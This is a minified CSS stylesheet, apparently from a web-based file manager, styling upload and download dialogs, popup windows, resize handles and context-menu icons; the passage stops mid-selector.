.content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.server_dwonload_textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server_dwonload_textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload .upload_box_tips .btn.btn-default{border-radius:3px;color:#555;}.file_upload .upload_box_tips .btn-group>.btn:last-child:not(:first-child),.file_upload .upload_box_tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px 10px 0;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;}.file_upload .uploader-list .item.success,.file_upload .download_list .item.success{background:#eaf8ff;}.file_upload .uploader-list .item.error,.file_upload .download_list .item.error{background:#ffe8e6;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system_conennt .right_frame .user_list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do_search .search_header .btn-right{ margin:-9px 0 0 -2px;height:23px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group_editor .tag input{ position:relative;top:-5px;} .share_dialog .aui_border{ overflow:auto;} .share_dialog .content_box .content_info .input_line.select_path a.select_btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img,.aui_title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui_title img:hover,.aui_title .x-item-file:hover{transform:scale(1.1,1.1);}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-treeSelf{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-treeSelf:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-treeFav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.x-treeFav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open_the_path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open_the_path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute_to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute_to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy_to .font-icon,.context-menu-list .context-menu-item.copy_see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy_to .font-icon:before,.context-menu-list .context-menu-item.copy_see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav_remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav_remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open_text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open_text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav_page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav_page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon,.context-menu-list 